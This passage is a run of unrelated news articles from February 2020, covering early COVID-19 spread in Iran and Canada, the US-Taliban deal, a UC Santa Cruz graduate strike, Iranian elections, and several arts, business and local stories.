instead of speech. But the more intellectually curious kids seemed to appreciate not just the message but the delivery system. Where a straight drama might have been overpowering, even traumatic, the medium of dance offers something of a protective layer to the trauma of residential school horrors. Even so, the movement here evokes a wide array of experience, from regimented marching, to paroxysms of anxiety and fear, cowering from violence and isolation. Set and lighting (designed by Andy Moro) presents a triptych, with screens projecting images of the school exterior, of brick walls, of dank basement rooms, but also accommodating scene changes a home, a jail cell shifting as nimbly as the performers. The music by B.C. composer Jesse Zubot is perhaps too modern to reflect the experiences being portrayed. But the use of songs is interesting, especially Hank Williams' I Saw the Light and Patsy Cline's Just a Closer Walk With Thee, songs of comfort and consolation that, in this context, have the exact opposite effect. randall.king@freepress.mb.ca Twitter: @FreepKing If you value coverage of Manitobas arts scene, help us do more. Your contribution of $10, $25 or more will allow the Free Press to deepen our reporting on theatre, dance, music and galleries while also ensuring the broadest possible audience can access our arts journalism. BECOME AN ARTS JOURNALISM SUPPORTER Click here to learn more about the project. Local woman Brona Cahill will be performing a key solo violin piece on RTE's hit show Dancing with the Stars this Sunday night. Brona is part of RTE's concert orchestra and will perform her piece for presenter Mary Kennedy's dance on the show. She has been co leader of the RTE Concert Orchestra since 2009 and lives in Dundalk and went to school in Ravensdale primary. Having studied violin with local priest Fr. Brendan McNally, Brona continued her studies with a Japanese teacher in college in London and then a masters with a Romanian teacher in America. Before getting the job as co leader of the RTE concert orchestra, as a freelance musician Brona was co leader of Camerata Ireland, the Irish Chamber Orchestra and the Irish Baroque Orchestra. She has performed solos with the ICO and the IBO, her college orchestras and of course many times with the RTE concert orchestra both on the concert stage and radio broadcasts. Chamber music was a great love prior to joining the orchestras and she premiered many new pieces and toured all over Ireland and did festivals in France with her trio, the Hibernian String trio. She also championed many contemporary works in Crash ensemble in the early days of its existence and was a member of Opera Theatre Company also. After two people died of Coronavirus in Iran on Wednesday, officials hinted at more cases of infections, fueling an atmosphere of deep apprehension among the public and expressions of distrust toward the government. The revelation that the virus has reached Iran is taken by many as an admission that infections may had already spread in Qom, the religious capital of the country, by the time the government announced the death of two patients. To add to the shock, two more cases of Coronavirus infection were reported in Qom on Thursday and another in Arak, close to Qom in central Iran. This is a further indication that infections seem to be spreading in the region. Distrustful citizens take these developments as ominous signs that the government has covered up the presence of the disease in order for people to show up at elections on February 21. Officials were insisting in recent weeks there were no cases of infection in the country. Video shows evacation of a hospital designated as a quarantine for coronavirus patients in Qom. Persian-language social media is full of comments blaming the government for hiding the truth from the public and expressing fear the virus has spread much wider than officials admit. Every day thousands of Iranians and pilgrims from other countries visit Qom, a holy city for Shiites, two-hours drive from the capital Tehran. It is not clear how the virus found its way to Qom. The two who died in the city on Wednesday were residents of separate districts in the province of Qom, and neither of them had traveled to China or left the region, Health Ministry officials say. The Head of the Contagious Diseases of the Health Ministry, Mohammad Mehdi Gouya, on Thursday said two more cases have been confirmed in Qom and five suspected of infection have been transferred to Tehran. According to Gouya there is no indication yet that the outbreak in Qom could be traced to pilgrims from Pakistan or other countries, as some rumors claimed. According to unconfirmed reports four patients in Mashhad, Iran's second largest city and another religious center, have also been tested positive for Coronavirus. Mashhad is also a pilgrim destination and tens of thousands visit the city every day. Video shows Revolutionary Guard's Special Unit vehicles on their way to Qom to enforce a quarantine. In Qom special measures are being taken. One of the city's hospitals was evacuated on Wednesday evening to quarantine Coronavirus patients and authorities have announced that all schools, universities and seminaries will be closed on Thursday. Some social media users have posted videos showing the Revolutionary Guard's Special Forces have been sent to Qom. Iran is to hold nationwide parliamentary elections on Friday. The Islamic Republic has always prided itself in election participation rates above 50 percent and interprets it as approval of its legitimacy. Unofficial polls suggest that participation in elections will be at a record low this time due to the extensive disqualification of candidates by the election watchdog, the Guardian Council. Some social media users claim that there is a connection between the announcement of a Coronavirus outbreak in Qom and the planned elections on Friday. "I can somehow agree with the theory that they made the Coronavirus outbreak public today [Wednesday] to justify the low election turnout but something tells me the situation has become so grave that they had to make so much noise about it just before the elections," a U.S.-based Iranian journalist wrote in a tweet. Referring to the downing of a Ukrainian plane in January which officials blamed on "human error" he added: "I hope another 'human error' doesn't take people's lives like a monster". According to other unconfirmed reports on social media the Ministry of Interior has asked Supreme Leader Ali Khamenei to authorize the cancellation of Friday's elections due to the Coronavirus crisis but he has not responded to the request yet. So far Coronavirus has claimed very few lives outside China. Hong Kong, Japan have each reported two deaths and South Korea, Taiwan, Philippines and France have reported 1 death each while China, the epicentre of the outbreak, has recorded 2118 deaths so far. Source: Xinhua| 2020-02-20 18:25:37|Editor: huaxia Video Player Close BEIJING, Feb. 20 (Xinhua) -- China's service outsourcing industry reached a new growth milestone last year as the country maintains its support for the sector seen as important to economic upgrading and job creation. Chinese firms inked service outsourcing contracts worth about 1.57 trillion yuan (about 223.7 billion U.S. dollars) in 2019, up 18.6 percent year on year, while the annual executed contract value topped 1 trillion yuan for the first time with a year-on-year growth of 11.5 percent, the latest data from the Ministry of Commerce (MOC) showed Thursday. Of the total, offshore service outsourcing contracts reached 920.7 billion yuan in value last year, rising 15.6 percent year on year. The United States, the European Union and the Hong Kong Special Administrative Region ranked the top three largest markets in business volume, accounting for 54.5 percent of the total, said MOC spokesman Gao Feng during an online news conference. The executed value of contracts with the United States rose 10.3 percent year on year to 132.5 billion yuan in 2019, he said. Outsourcing, which is usually taken to cut costs, is the business practice of hiring a party outside a company to perform services and create goods that traditionally were performed in-house by the company's own employees and staff. In China, service outsourcing is typically divided into three sub-sectors: information technology outsourcing (ITO), business process outsourcing (BPO) and knowledge process outsourcing (KPO). China sees the development of service outsourcing as helpful in keeping foreign investment and employment stable and promoting economic upgrading. Though it started relatively late in outsourced services, China has its own advantages and has made swift progress. The country has pledged to step up efforts to promote the transformation and upgrading of outsourced services, with the view to achieving better structure and higher quality of the services sector. As the novel coronavirus (COVID-19) begins to show its dampening effect on China's economy, the commerce ministry has rolled out favorable policies to ensure the stable development of the service outsourcing sector, which acts as a pillar of China's productive service exports and an important job creator for college graduates. A circular released by the ministry on Feb. 11 promised dedicated support to service providers suffering from virus-caused cash flow strains and business drops. The ministry urged local commerce departments to fully understand the importance of supporting service outsourcing enterprises in fighting the epidemic and take the initiative to do their best to solve problems for enterprises, according to the circular. New efforts include helping the sector benefit more from the country's new supportive tax, financial and human resources policies, pushing the targeted supply of disease prevention gear, supporting work and production resumption, and streamlining administrative services. Intensifying macro-policy support for the broader economy would also reduce bumps ahead for the sector. For example, China's financial authorities have enhanced targeted support for micro, small and medium-sized enterprises to steer their funding costs down in a bid to tackle short-term cash flow challenges. Lian Ping, chief economist at the Bank of Communications, said the innate resilience of the Chinese economy, as well as the use of counter-cyclical adjustments, will help the country maintain stable growth despite the COVID-19 outbreak. The outbreak may exert a short-lived downward pressure on consumption and investment, but won't change the country's sound economic fundamentals, Lian told Xinhua in an interview, adding that the country has sufficient policy room to keep growth stable. "Pessimism over the epidemic's impact on China's long-term growth doesn't hold water," Lian said. A bus leaves a port where the quarantined Diamond Princess cruise ship is docked on Feb. 15, 2020, in Yokohama, near Tokyo, Japan. (AP Photo/Jae C. Hong) Canadians From Coronavirus-Ridden Cruise Ship Fly Home; Sixth Presumptive Case Diagnosed in BC OTTAWAA sixth presumptive case of COVID-19 has been diagnosed in British Columbia after a woman in her 30s returned to the province from Iran, bringing the total number of cases in Canada to nine. Provincial health officer Dr. Bonnie Henry said Thursday the latest patients case is relatively mild and a number of her close contacts have already been put in isolation. Henry said earlier this week that four of the five people already diagnosed with the virus were symptom free. This latest case comes as a planeload of Canadian evacuees who have spent weeks confined to cabins aboard a coronavirus-stricken cruise ship in Japan were expected to begin two weeks of isolation in Cornwall, Ont., Friday, unless Canadas top health official deems them healthy enough to be released. And Canadian authorities are looking closely at their experience on the Diamond Princess cruise ship as the country prepares for an upcoming tourist season with concerns about the novel coronavirus, called COVID-19, still very much up in the air. Initially the government said the evacuees from Japan would have to spend 14 days in isolation because that is considered the typical incubation period for the virus. But because all the passengers have been tested for the virus by Japanese authorities, Health Minister Patty Hajdu said Thursday there is a chance that they will be released early from quarantine if they show no symptoms upon their return to Canada, under the discretion of Canadas top public-health doctor. Those who were cleared to travel are to be screened again at Canadian Forces Base Trenton before they are placed in isolation at the Nav Centre in eastern Ontario. Each passenger was given a government-issued facemask and coloured wristband before they were ushered off the ship in Yokohama to nearby Tokyos Haneda Airport, according to a letter from government officials to the evacuees on board the ship. Dr. Theresa Tam, Canadas chief public-health officer, has already released flight crew and medical personnel who escorted Canadians home from Wuhan, China, where COVID-19 was first detected, but so far all the evacuees themselves have had to serve the full quarantine period. The Diamond Princess cruise ship has seen the largest outbreak of the virus outside China, with 634 passengers having tested positive at last count. Hajdu said Canada will be keeping its eye on Japans examination of how the virus was handled aboard the ship, especially as it relates to Canadas own upcoming tourist season. Measures aboard the ship seemed to do little to keep COVID-19 from spreading. Canada has numerous cruise terminals, from relatively big cities such as Vancouver and Montreal to smaller ports such as Prince Rupert, B.C., and Baie Comeau, Que. There has been obviously concern about the practices on board the ship that have potentially led to the increased spread of the coronavirus on the ship, Hajdu said, adding that she also has empathy for Japanese officials who had to handle the quarantine of more than 3,000 people docked off a major city. The evacuation came just after Japanese officials broke the news that two passengers from the ship died after contracting the virus. The two people who died, a man and a woman in their 80s who are both Japanese, were believed to have been infected before the quarantine began on the ship, Japanese health ministry official Masami Sakoi said Thursday. The 47 Canadian passengers who have already tested positive for COVID-19 remain in Japan for treatment. Other Canadians who did not wish to return to Canada on the chartered flight will be expected to undergo a mandatory 14-day quarantine when they eventually return to the country on a commercial flight. Those Canadians are to be flagged upon their return to the country, and live out their isolation periods at home or in a designated facility, Hajdu said. Anyone who returns commercially who doesnt abide by the quarantine order would face penalties, she said. As for the first 213 Canadian evacuees and their families who have served out their two week quarantine at CFB Trenton, they are scheduled to be released Friday. So far, none have developed symptoms after their arrival from Wuhan, China, the centre of the COVID-19 outbreak. The second wave of Wuhan evacuees are expected to be released next week. The government is now working to help facilitate their return to their homes. The Canadian Press The two boys told Hobart detectives they were riding their bikes near 8th and Fleming when a blue Chevrolet Malibu began following them, court records state. Snapchat video obtained by police shows the Malibu, driven by Perry-Jones, swerve the wheels sharply "as if he saw the boys and wanted to hit them with the vehicle" while yelling, "'Y'all better get home,'" court records state. Perry-Jones and Smith allegedly yelled expletives at the two teen boys and demanded that they "pull that flag down" in the video, police said. Perry-Jones allegedly threatened to beat the boys up for calling 911, court records state. In the video, Perry-Jones also said that if police questioned him about it, he would just say the boys called him a racial slur. During the encounter, Perry-Jones allegedly drove his car through several yards, chasing them. One of the boys told detectives Smith snatched their flag while filming the video, so they chased after the car. Only after the boys threatened to call police did the couple drop the flag and intentionally run it over with their vehicle before fleeing the area, records state. Explosive levels of toxic gas in the sewers resulted in temporary evacuation of households near Finch Avenue and Albion Road on Thursday afternoon, authorities say. The incident took place at around 3:20 p.m. near Bulbourne and Stevenson Roads in Etobicoke. A smell similar to gasoline or a solvent was present in the neighbourhood. Toronto Fire Services say 10 to 15 households were evacuated. TTC buses were used as shelter. There was no leakage of gas, police say. At around 4:40 p.m., police said that there was no concern for public safety. Toronto Fire Services is flushing the sewer system to clear the sewer of the gas and police say residents will be allowed to return home after the flushing is complete. There were no injuries or illnesses. Capt. David Eckerman of the Toronto Fire Services told the Star that a quantity of an unknown substance was dumped into a nearby waterway. Authorities are still trying to determine the nature of the substance. DALLAS (AP) Southwest Airlines said Thursday it has removed the grounded Boeing 737 Max from its schedule for another two months during the peak summer travel season and will drop about 9% of its planned flights as a result. Southwest said it took the plane out of the schedule through Aug. 10. It was the latest move by airlines to acknowledge that the plane won't be ready to fly as soon as they or Boeing had expected. Southwest had previously removed the Max from its schedule through June 6. Southwest was flying 34 Maxes and expected to receive more when the planes were grounded worldwide last March after crashes in Indonesia and Ethiopia killed 346 people. Without the planes, Southwest said it will remove about 371 weekday flights from its schedule of more than 4,000 flights per day. Dallas-based Southwest is the world's biggest operator of Boeing 737s, with about 750 in its fleet. Almost all are earlier versions than the Max and don't have the same flight-control software implicated in the crashes. Boeing is conducting test flights with the new software but does not expect the Federal Aviation Administration to certify the changes until this summer. Airlines will need more time after that to inspect their planes and train pilots before they fly passengers. Surveys indicate that many travelers will be reluctant to fly on the Max, at least for a while. New Delhi, Feb 21 : The Congress has said it has not received any invitation yet for its leaders to meet US President Donald Trump on his upcoming visit to India. Congress spokesperson Anand Sharma said "we have not received any invitation from the government side and neither from the US." "If any invitation will come then we will take a view on it," Sharma said when asked. While Leader of opposition Ghulam Nabi Azad may be invited to the President's reception but the party chief has not been given any invite. The Congress is the principal opposition party and visiting foreign dignitaries also meet Congress leaders as Sri Lankan Prime Minister Mahinda Rajpaksa met Rahul Gandhi and Manmohan Singh during his visit. The Congress said that any relationship with the US should be a standalone relationship and it should not affect India's relationship with other countries including Russia as India should not accept a "big brother" treatment from the US and it should be on an equal footing, said Sharma. "Three things that need to be kept in mind in this journey are - sovereignty, self-respect and national interest of India," Sharma added. The Congress expressed apprehension as some recent events have cast a shadow on the Indo-US relationship. The US abolished the Generalised System of Preferences despite being in an important partnership with India. This eliminates the opportunity for goods produced in India to enter the US market at low costs. The Congress said that this visit by the US President is important for both countries - in terms of partnership and cooperation in the fields of defence, economy, nuclear energy, space, agriculture and technology. On Friday, the U.S. government announced a two-step peace deal with the insurgent Afghan Taliban. In the first step, the United States and the Taliban will substantially "reduce violence" against each other across Afghanistan for seven days. If satisfied with the reduction, the two sides will sign a broader agreement on withdrawing U.S. troops from Afghanistan, measures for verifying that Afghan territory isn't being used for international terrorism, and starting intra-Afghan talks for political power-sharing between the Kabul government and the Taliban. This landmark agreement is intended to end the United States' longest war. In September, President Donald Trump came close to signing a deal with the Taliban at Camp David. But the Taliban killed an American soldier and Trump called off the summit. This time around, while there are serious risks of failure, the agreed framework provides an important opening to bring U.S. troops home and ease the suffering of Afghan civilians. Here's what you need to know. - - - How did we get here? Reaching this agreement took three years, in part because of formidable hurdles. For much of the negotiating period, influential members of the Afghan Taliban felt they had a superior position on the battlefield and could wear out the U.S. into unilaterally withdrawing. This was not surprising. Research on civil war suggests that rebels prefer fighting to negotiating when they feel confident about their military prospects because they have battlefield momentum, external state support and illicit economies that fund it. The Taliban had all of the above, including a resilient insurgency, patrons such as Pakistan and vast income from drug sales. The Trump White House's internal politics also caused some difficulties. In 2017, then-Secretary of Defense Jim Mattis and national security adviser H.R. McMaster argued against withdrawal. Trump's next national security adviser, John Bolton, also opposed a deal. But top U.S. negotiator Zalmay Khalilzad moved the start-stop peace process relentlessly. Three factors enabled his diplomatic push. First, he decoupled the intra-Afghan power-sharing agreement from a first-order agreement between the United States and the Taliban. Initially, the United States wanted the Taliban to negotiate with the Afghan government. By late 2018, however, Khalilzad lost confidence in Afghan President Ashraf Ghani's ability to forge a united front among his allies and rivals to compel the Afghan Taliban to negotiate, and left him out. Second, in the words of a Pentagon official, Pakistan played an "indispensable role" in persuading the Afghan Taliban to negotiate - despite Pakistan's deep support for the Afghan Taliban for most of the war. Pakistan's calculus appears to have been shaped by a combination of the threat of international sanctions and assurances on some of its concerns, such as India's future role as an influential power in Afghanistan. Finally, Trump wanted to end the war to fulfill a key campaign promise, providing important political momentum. He leveraged his capital as a hawk to sidestep objections on concessions to the Afghan Taliban. This signaled American seriousness to the Afghan Taliban. It also reduced friction among U.S. agencies on Afghan policy, which pulled in different directions for much of the war. - - - The harder part comes next If both sides reduce violence and sign the broader agreement, the United States and the Taliban will have to fulfill some commitments. The United States will need to withdraw a large number of U.S. forces over the next few months and release Taliban prisoners. The United States wants the Taliban to demonstrate a commitment to stop international terrorism and to negotiate a power-sharing agreement with the Afghan political elite. Each side will worry about the other side cheating. The United States will closely watch whether the Taliban fulfills its commitment to break ties with al-Qaida and will expect timely implementation of verification mechanisms for monitoring international terrorist activity. The Taliban will closely watch the U.S. withdrawal and will synchronize its demobilization with the departure of U.S. soldiers. Finally, with the intra-Afghan power-sharing discussion, Afghan domestic politics will enter choppy waters. On one hand, Afghan elites are genuinely concerned about whether the Afghan Taliban will engage in good-faith discussions toward a power-sharing settlement, and whether the Afghan Taliban will try to reverse human rights gains since 2001, especially on the rights of women. On the other hand, Ghani's domestic standing is in a state of crisis. His recent reelection, announced Tuesday, was marred by a dispute over the vote count, which his political rivals have rejected. Looking ahead, major centers of Afghan power have vastly varied priorities. Afghan domestic political disputes can derail the peace process at any stage. - - - How the United States can prevent a civil war and international terrorism The U.S. government may have to do a lot more to prevent a renewed Afghan civil war, including managing Afghan political elites, shaping the intra-Afghan talks and leaning on Pakistan to keep the Taliban from waging war. It may wish to watch out lest critical parties such as Iran and India inflame Afghan groups to oppose a settlement. The United States will need to calibrate economic aid to Taliban and Afghan elites to reward good negotiating behavior - and to use the threat of delaying troop withdrawals if the deal begins to collapse. According to the United Nations, the Taliban and al-Qaida continue to collaborate on the battlefield. More recently, al-Qaida has sought to influence terms of the peace through "shuttle diplomacy" with the Afghan Taliban. This suggests that despite Afghan Taliban's assurances, al-Qaida can get a boost in Afghanistan. To keep al-Qaida's threat low, the U.S. government may want to consider maintaining counterterrorism options in Afghanistan that don't involve troops on the ground. U.S. military and intelligence are experienced - and sometimes effective - in such counterterrorism operations. That may be necessary to prevent al-Qaida from once again threatening the United States at home. - - - Mir is a postdoctoral fellow at the Center for International Security and Cooperation at Stanford University. For other commentary and analysis from The Monkey Cage, an independent blog anchored by political scientists from universities across the country, see www.washingtonpost.com/blogs/monkey-cage VANCOUVER, British Columbia, Feb. 21, 2020 (GLOBE NEWSWIRE) -- Algernon Pharmaceuticals Inc. (CSE: AGN) (FRANKFURT: AGW) (OTCQB: AGNPF) (the Company or Algernon) a clinical stage pharmaceutical development company is pleased to announce that, due to strong demand, it has increased its previously announced non-brokered private placement of units (the "Units"), and has issued an aggregate of 18,304,939 Units at the price of CDN$0.085 per Unit, raising gross proceeds of CDN$1,555,919.82 (the Offering). Each Unit is comprised of one Class A common share (a Share) and one Share purchase warrant. Each whole warrant will entitle the holder to acquire one additional Share at a price of CDN$0.12 per Share until August 20, 2022 (the Expiry Date). If, at any time after June 21, 2020 and prior to the Expiry Date, the volume weighted average trading price of the Shares on the Canadian Securities Exchange (the CSE), or other principal exchange on which the Shares are listed, is greater than CDN$0.35 for 20 consecutive trading days, the Company may, within 15 days of the occurrence of such event, deliver a notice to the holders of warrants accelerating the Expiry Date to the date that is 30 days following the date of such notice (the Accelerated Exercise Period). Concurrent with the giving of such notice, the Company will also issue a press release disclosing the Accelerated Exercise Period. Any unexercised warrants shall automatically expire at the end of the Accelerated Exercise Period. In connection with the Offering, the Company has paid cash commissions in the aggregate amount of CDN$82,413.60, being 8% of the aggregate proceeds raised from the sale of Units to purchasers introduced by eligible finders. In addition, the Company has issued 969,571 finders warrants (the Finders Warrants), being 8% of the number of Units sold under the Offering to purchasers introduced by such finders. Each Finders Warrant entitles the holder to purchase one Unit at a price of CDN$0.085 per Unit until August 20, 2022. All securities issued in connection with the Offering are subject to a statutory hold period expiring June 21, 2020 in accordance with applicable securities legislation. The net proceeds of the Offering will be used to fund the Companys planned phase 2 clinical trial programs and for general corporate purposes. The Company also announces that it has granted, effective February 13, 2020, an aggregate of 4,375,000 stock options (each an "Option") to certain directors, officers, and consultants of the Company in accordance with the Company's stock option plan. Each Option is exercisable into one Share at a price of CDN$0.10 per Share until February 13, 2025. 4,275,000 Options have vested immediately and 100,000 Options will vest on August 13, 2020. About Algernon Pharmaceuticals Inc. Algernon Pharmaceuticals is a clinical stage pharmaceutical development company focused on advancing its lead compounds for nonalcoholic steatohepatitis (NASH), chronic kidney disease (CKD) inflammatory bowel disease (IBD), idiopathic pulmonary fibrosis (IPF) and chronic cough. CONTACT INFORMATION Christopher J. Moreau CEO Algernon Pharmaceuticals Inc. 604.398.4175 ext 701 info@algernonpharmaceuticals.com www.algernonpharmaceuticals.com . The CSE does not accept responsibility for the adequacy or accuracy of this release. Neither the Canadian Securities Exchange nor its Market Regulator (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release. The Canadian Securities Exchange has not in any way passed upon the merits of the proposed transaction and has neither approved nor disapproved the contents of this press release. CAUTIONARY DISCLAIMER STATEMENT: No securities regulatory authority or stock exchange has reviewed nor accepts responsibility for the adequacy or accuracy of the content of this news release. This news release contains forward-looking statements relating to the closing of the Offering, product development, licensing, commercialization and regulatory compliance issues and other statements that are not historical facts. Forward-looking statements are often identified by terms such as will, may, should, anticipate, expects and similar expressions. All statements other than statements of historical fact, included in this release are forward-looking statements that involve risks and uncertainties. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Important factors that could cause actual results to differ materially from the Companys expectations include the failure to satisfy the conditions of the relevant securities exchange(s) and other risks detailed from time to time in the filings made by the Company with securities regulations. The reader is cautioned that assumptions used in the preparation of any forward-looking information may prove to be incorrect. Events or circumstances may cause actual results to differ materially from those predicted, as a result of numerous known and unknown risks, uncertainties, and other factors, many of which are beyond the control of the Company. The reader is cautioned not to place undue reliance on any forward-looking information. Such information, although considered reasonable by management at the time of preparation, may prove to be incorrect and actual results may differ materially from those anticipated. Forward-looking statements contained in this news release are expressly qualified by this cautionary statement. The forward-looking statements contained in this news release are made as of the date of this news release and the Company will update or revise publicly any of the included forward-looking statements as expressly required by applicable law. (@ChaudhryMAli88) Tehran is ready to mediate the disagreements Damascus and Ankara have over the situation in Syria's Idlib, Iranian Foreign Minister Mohammad Javad Zarif told the Tasnim news agency on Wednesday MOSCOW (UrduPoint News / Sputnik - 19th February, 2020) Tehran is ready to mediate the disagreements Damascus and Ankara have over the situation in Syria's Idlib, Iranian Foreign Minister Mohammad Javad Zarif told the Tasnim news agency on Wednesday. Since early February, Syrian forces have retaken control of several strategic settlements and highways in the Idlib de-escalation zone, triggering a backlash from Turkey, which shares a border with the province. Turkey has accused its neighbor of violating the ceasefire and attacking its observations posts in the region. Russia has already attempted to ease tension by holding talks with Turkey in Moscow, but Turkish President Recep Tayyip Erdogan said earlier on Wednesday that Ankara was dissatisfied with their results and was ready to start a military operation in Idlib "If they [Syria and Turkey] need to use our good offices, this problem (in Idlib) will be resolved with less harms," Zarif said. The diplomat added that Iran was willing to hold talks with "our Syrian and Turkish brothers" at various levels, but that previous agreements on Idlib must be implemented and the fight against terrorism must continue. Zarif also defended the Syrian government's right to "ensure the security of its citizens." Damascus insists that the ceasefire, which is observed in all de-escalation zones by default, does not apply to fight against terrorists, most of whom are concentrated in Idlib. Support for striking University of California (UC) Santa Cruz graduate students continues to grow as UC administration deploys police and threats across the UC system. UC Santa Cruz (UCSC) faculty passed two resolutions in support of the strike while graduate students held sympathy demonstrations at at least five other UC campuses. Democratic Party politicians, most notably presidential candidate Bernie Sanders, are now posturing as supporters of the strike in an attempt to channel it into harmless political channels. 200 UCSC students have been withholding Fall 2019 final grades since December, calling for a substantial cost-of-living-adjustment (COLA) of $1,412 per month to compensate for high rents. Last week, this grading strike grew into a full-blown wildcat strike, in defiance of the no-strike clause in the contract negotiated by the United Auto Workers (UAW) union. This afternoon at 4:30 p.m., UCSC students will hold a general assembly to decide whether to risk dismissal or even deportation by defying the 11:59 p.m. ultimatum set by UC administration to submit Fall 2019 final grades. International students issued a brave response to the universitys thinly veiled threats of deportation, correctly noting, We have no reason to believe that submitting grades and ending our strike activities will keep any of us safe from retaliation. The heavy-handed response of UC administration, led by UC President and former Obama administration Secretary of Homeland Security Janet Napolitano, has led to a nationwide outpouring of support. Graduate students and supporters held solidarity demonstrations and teach-ins at at least four other UC campuses. At UC Davis, roughly 200 attended a teach-in on the UCSC strike. At UC San Diego, 60 to 70 students, including graduate and undergraduate students, denounced Napolitano for threatening to fire students and attempting to divide them from faculty. One organizer noted the class gulf that separates graduate students from administrators, asking When's the last time UC administrators had sleep for dinner? At UC Irvine, a few dozen student demonstrators confronted police outside an administration building, chanting Cops off campus. COLA in my bank account. Students at UC Berkeley met Wednesday evening to discuss a response to potential victimization of UCSC students, with about 25 geography graduate students signing one of several open letters of support for the strike. Graduate students from NYU and University of Chicago have also issued statements of support via social media. Significantly, the UCSC Faculty Senate voted Wednesday in favor of two pro-strike resolutions, according to the UCSC strike website. The first calls for the removal and erasure of data from the form used to surveil faculty. This refers to an online form used by UCSC administration in an attempt to determine which graduate students were participating in the strike. The second resolution is in support of higher grad wages, the withdrawal of sanctions/discipline from striking students records, and ensuring departmental autonomy in hiring TAs, while advocating for a meaningful resolution to the strike. Amid this genuine upswell of support, which, as social media postings demonstrate, extends far beyond the universities, Democratic Party politicians and trade union functionaries are posturing as defenders of the strike. The university-level UAW leadership at other campuses, which has refused to call out any members in a sympathy strike, now presents itself as the leadership of the COLA movement at UC Berkeley and UCSD. That said, Democratic Socialists of America (DSA)-aligned Jacobin magazine and Rep. Alexandria Ocasio-Cortez have remained silent on the past two weeks developments at UCSC. Most notably, US presidential candidate Bernie Sanders, who occasionally still refers to himself as a democratic socialist, posted the following tweet Wednesday night, UCSC grad students are fighting to have their labor rights acknowledged. I strongly urge the president of the UC system to stop threatening them, especially immigrant students, for organizing. I stand with @payusmoreucsc This tweet, now prominently featured on the UCSC strike website, illustrates some of the political dangers facing the strike. Sanders knows full well that providing a decent standard of living for graduate students, or the universal free education he claims to support, will require significant inroads on the wealth and privileges of the billionaire class and cuts to the gargantuan US military budget. However, Sanders has made clear in his recent statements that he will happily support whoever becomes the Democratic nominee, even billionaire Michael Bloomberg who is attempting to buy the US presidency. In response to a questionnaire Sanders told the New York Times he would consider perpetrating war crimes such as pre-emptive war with Iran or North Korea and drone assassinations without due process. He has repeatedly expressed his opposition to immigrants and blamed them for driving down wages in the US. A Reddit Ask Me Anything (AMA) comment exchange illustrates the illusions held by strike leaders in the UAW. In response to a question asking whether strikers were picketing their ineffective union, WildcatterUCSC responded, We are not picketing our own statewide union; however, the reason we began this wildcat strike in December is because we did feel let down by the other UC campuses in our UAW grad union. The comment continues to note that UCSC graduate students voted against the latest contract by 83 percent, although the contract passed by large margins at other UC campuses. The entire UAW national leadership is neck deep in a corruption scandal for accepting bribes form auto companies in exchange for negotiating cuts to worker compensation. The federal investigation has so far resulted in 13 UAW officials, relatives and company executives being charged, with 11 convicted. Many more are implicated in court documents and may be charged soon including former UAW President Gary Jones, his predecessor Dennis Williams, and his interim replacement Rory Gamble. Graduate students should reject with contempt the overtures of the Democratic Party and the corrupt trade union apparatus. Advancing the strike requires rank-and-file committees, in irreconcilable opposition to the Democrats and Republicans, to make the broadest possible appeal to workers and youth across the country and internationally. Graduate students should note that 14,000 Northern California Safeway workers recently cast a 95 percent strike authorization vote against unlivable wages and precarious conditions after their union kept them on the job for a year and a half after their contract expired. In order to break through the universitys threats these broader layers of the working class must be mobilized in the defense of public education. The International Youth and Students for Social Equality (IYSSE), the youth movement of the Socialist Equality Party, is holding an emergency online meeting this Sunday, February 23, at 4 p.m. Pacific Time. The meeting will discuss an international socialist strategy for the UC strike. Visit https://iysse.com/UCstrike/ for further details. Maryam Rajavi, who is the President-elect of the National Council of Resistance of Iran (NCRI), said: The boycott of the sham elections is a patriotic duty and the bond of the Iranian people with their martyrs, especially the over 1,500 martyrs of the November uprising. She continued: This boycott sides with the demands of the arisen people and students in January for the overthrow of the entirety of the illegitimate regime of the [absolute clerical rule]. Indeed, the vote of the Iranian people is overthrow. These comments refer to the nationwide uprisings of November 2019 and January 2020 when people came out into the streets to call for the fall of the mullahs. The protests, which began over issues as disparate as the tripling of fuel prices and the regimes lies over the downing of a Ukrainian passenger jet, soon focused on the peoples call for regime change. It was during these uprisings, when the people chanted down with the dictator, that Maryam Rajavi said the people cast their true vote. The boycott of the sham elections is a patriotic duty and the bond of the Iranian people with their martyrs, especially the over 1,500 martyrs of the November uprising. #Iran #FreeIran2020 #BoycottIranShamElections pic.twitter.com/RKWXwHbOe8 Maryam Rajavi (@Maryam_Rajavi) February 18, 2020 The Iranian regimes Guardian Council, which is appointed by Supreme Leader Ali Khamenei, has been routinely disqualifying candidates for election over the past few weeks, including 90 sitting members of parliament. The majority of these come from the so-called reformist faction, although there is no true opposition in the Iranian parliament as all of them swear an oath to the ultimate rule of the clerical regime. Maryam Rajavi has said this is a power grab; an attempt by Khamenei to instate a one-faction parliament and forestall the end of the regime for weeks or months more. Maryam Rajavi said: Today, [Khamenei] is trying to fill the reactionary parliament with absolute loyalists. This is because he sees closing ranks as the solution to dealing with the current crisis. But, whether he succeeds or fails in this endeavor, in the end, the clerical regime has no way out and cannot forestall its overthrow. This election comes at a time of great instability for the regime, following two nationwide uprisings in which the regime slaughtered 1,500 dissidents and arrested 12,000 more, the assassination of Quds Force commander Qassem Soleimani in a US drone strike, and additional sanctions from the US. As a result of the voterigging, many Iranians are choosing to boycott the election, although you might never know it because the regime will certainly inflate the voter numbers as they have done before to produce laughably high turnouts. Even though the regime will falsely claim high participation in the election, it will still send a message to the mullahs. It will also weaken the already fragile regime further, according to Maryam Rajavi, who sees it as proof that the end of the regime is in sight. Read More: Rajavi: Iran Regime on Brink of Overthrow Chief minister Uddhav Thackeray is slated to meet Prime Minister Narendra Modi in New Delhi on Friday. This will be his first visit to the national capital almost three months after forming the Maharashtra Vikas Aghadi (MVA) government along with the Nationalist Congress Party and the Congress. Shiv Sena leader and Rajya Sabha MP Sanjay Raut confirmed the meeting on Thursday. Yes, the CM is going to meet the Prime Minister in Delhi tomorrow. It is a courtesy call. No need to dive deep into the subject, Raut tweeted. While the agenda for the meeting has not been confirmed, officials in the CMs office said Thackeray may take up contentious issues like the implementation of the National Population Register, hand-over of the Elgar Parishad probe to the NIA, besides funding proposals like the pending proposal of relief to farmers for unseasonal rains, irrigation projects, GST dues for the state. There is a difference of opinion between the MVA partners over implementation of NPR. While the Congress and NCP are opposed to the roll-out of NPR, Thackeray is not against it and has termed it similar to the Census. The CM discussed all these issues with top officials of various departments on Thursday evening. This is 